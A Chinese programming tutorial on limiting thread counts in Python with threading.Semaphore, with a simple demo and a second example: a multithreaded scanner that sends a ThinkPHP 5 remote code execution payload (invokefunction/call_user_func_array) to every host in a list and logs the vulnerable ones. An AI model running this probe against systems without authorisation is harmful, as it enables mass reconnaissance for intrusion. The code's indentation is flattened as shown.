快捷導(dǎo)航

python多線程semaphore實現(xiàn)線程數(shù)控制的示例

更新時間：2020年08月10日 14:43:58 作者：TuudOp

這篇文章主要介紹了python多線程semaphore實現(xiàn)線程數(shù)控制的示例，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

前面寫過一篇關(guān)于python多線程的實現(xiàn)的文章，但是效果不是最佳的，寫法也不是很好。通過網(wǎng)上學(xué)習(xí)，也了解到了semaphore這個東西。

百度給的解釋：Semaphore是一種在多線程環(huán)境下使用的設(shè)施，該設(shè)施負責(zé)協(xié)調(diào)各個線程，以保證它們能夠正確、合理的使用公共資源的設(shè)施，也是操作系統(tǒng)中用于控制進程同步互斥的量。

一個有趣的例子：假設(shè)停車場只有三個車位，一開始三個車位都是空的。這時如果同時來了五輛車，看門人允許其中三輛不受阻礙的進入，然后放下車攔，剩下的車則必須在入口等待，此后來的車也都不得不在入口處等待。這時，有一輛車離開停車場，看門人得知后，打開車攔，放入一輛，如果又離開兩輛，則又可以放入兩輛，如此往復(fù)。

簡而言之，也就是能夠控制多線程并發(fā)的數(shù)量。

簡單記錄一下如何通過semaphore實現(xiàn)線程數(shù)的控制。

簡單代碼：

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類
 def __init__(self, i, sem): 
 super(test, self).__init__()   #繼承python的構(gòu)造方法，這為python2的寫法，python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放線程數(shù)，線程數(shù)加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設(shè)置可同時執(zhí)行的最大線程數(shù)
 for i in range(50):
 sem.acquire()         #獲得線程，可用線程數(shù)減1
 t = test(i, sem)       #給執(zhí)行函數(shù)傳遞值
 t.start()           #執(zhí)行函數(shù)
sem = threading.Semaphore(5)    #設(shè)置可同時開啟的線程數(shù)，這里為5個

每執(zhí)行一次函數(shù)的時候就獲得一個線程數(shù)，sem.acquire()；每次執(zhí)行完函數(shù)，就會釋放一個線程數(shù)，sem.release()。只要acquire()的線程數(shù)達到了最大數(shù)（這里為5），后面的線程就只能先等待前面獲得的線程執(zhí)行完函數(shù)過后釋放，后面的線程才能繼續(xù)執(zhí)行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本，但是方法不夠好，這次用這個方法改了一下，貼在這里(掃描tp5是否存在代碼執(zhí)行漏洞的掃描腳本)：

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個漏洞的執(zhí)行函數(shù)
 def __init__(self, url, sem):
 super(check, self).__init__()   #繼承threading類的構(gòu)造方法，python3的寫法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5遠程代碼執(zhí)行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執(zhí)行完函數(shù)，釋放線程，線程數(shù)加1

class host(threading.Thread):     #遍歷文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #繼承threading類的構(gòu)造方法，python3的寫法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個就獲得一個線程，直到達到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #執(zhí)行check()的執(zhí)行函數(shù)

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大線程數(shù)為10個
 thread = host(sem)         #傳遞sem值
 thread.start()

到此這篇關(guān)于python多線程semaphore實現(xiàn)線程數(shù)控制的示例的文章就介紹到這了,更多相關(guān)python 線程數(shù)控制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

您可能感興趣的文章: